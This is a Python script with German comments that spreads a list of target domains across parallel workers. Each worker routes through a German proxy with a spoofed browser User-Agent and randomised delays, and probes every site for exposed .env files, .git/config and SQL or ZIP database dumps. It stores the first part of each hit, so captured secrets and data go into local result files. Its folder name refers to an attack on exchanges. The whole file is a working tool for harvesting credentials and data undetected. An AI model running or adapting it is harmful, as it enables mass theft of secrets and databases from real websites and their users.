#!/usr/bin/env python3
# Strikte Re-Validierung von .env/.git/sql-Kandidaten (nur echte Inhalte zählen)
import json, time, random, re, sys, os, urllib.request as ur, urllib.error

cands = json.load(open(sys.argv[1]))
WORKER = int(sys.argv[2])
NWORKERS = int(sys.argv[3])
shard = [d for i, d in enumerate(cands) if i % NWORKERS == WORKER]
BASE = "/home/marcel7364/investoren-daten/forex/boersen_angriff"
OUT = f"{BASE}/strict_recheck_w{WORKER}.json"
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36"

def get_proxy():
    for _ in range(5):
        try:
            return json.loads(ur.urlopen(f"http://127.0.0.1:8110/proxy?country=DE&session=fxstrict-{WORKER}&ttl=14000", timeout=15).read())["proxy_url"]
        except Exception:
            time.sleep(4)
    return None
proxy_url = get_proxy()
def opener():
    if not proxy_url: return ur.build_opener()
    op = ur.build_opener(ur.ProxyHandler({"http": proxy_url, "https": proxy_url}))
    op.addheaders = [("User-Agent", UA)]
    return op
op = opener()

def req(url, n=30000, timeout=18):
    try:
        with op.open(ur.Request(url), timeout=timeout) as r:
            return {"status": r.status, "body": r.read(n).decode("utf-8", "replace")}
    except urllib.error.HTTPError as e:
        try: b = e.read(1000).decode("utf-8", "replace")
        except Exception: b = ""
        return {"status": e.code, "body": b}
    except Exception as e:
        return {"status": -1, "body": f"ERR {type(e).__name__}"}

results = {}
if os.path.exists(OUT): results = json.load(open(OUT))

def sql_ok(b):
    t = b.strip()[:4000]
    return "<" not in t[:300] and re.search(r'(--[^\n]*\n|CREATE TABLE|INSERT INTO `?[a-z_]', t) is not None

for d in shard:
    if d in results: continue
    entry = {}
    for base in (f"https://{d}",):
        r = req(base + "/.env", n=30000)
        if r["status"] == 200 and "<" not in r["body"][:300] and re.search(r'^[A-Za-z_][A-Za-z0-9_]*=', r["body"].strip(), re.M) and len(r["body"]) < 40000:
            entry["env"] = {"len": len(r["body"]), "head": r["body"][:600]}
        time.sleep(random.uniform(0.5, 1.0))
        r = req(base + "/.git/config", n=8000)
        if r["status"] == 200 and "[core]" in r["body"]:
            entry["gitcfg"] = {"len": len(r["body"]), "head": r["body"][:400]}
        time.sleep(random.uniform(0.5, 1.0))
        for p in ("/backup.sql", "/db.sql", "/dump.sql", "/backup.zip", "/site.zip"):
            r = req(base + p, n=5000)
            if r["status"] == 200:
                if p.endswith(".zip") and r["body"][:2] == "PK":
                    entry["zipdump"] = {"path": p, "head": r["body"][:60]}
                if p.endswith(".sql") and sql_ok(r["body"]):
                    entry["sqldump"] = {"path": p, "len": len(r["body"]), "head": r["body"][:400]}
            time.sleep(random.uniform(0.4, 0.8))
    results[d] = entry
    json.dump(results, open(OUT, "w"), ensure_ascii=False)
    time.sleep(random.uniform(0.6, 1.2))

json.dump(results, open(OUT, "w"), ensure_ascii=False)
print(f"w{WORKER} FERTIG {len(results)} (hits: {sum(1 for v in results.values() if v)})", flush=True)
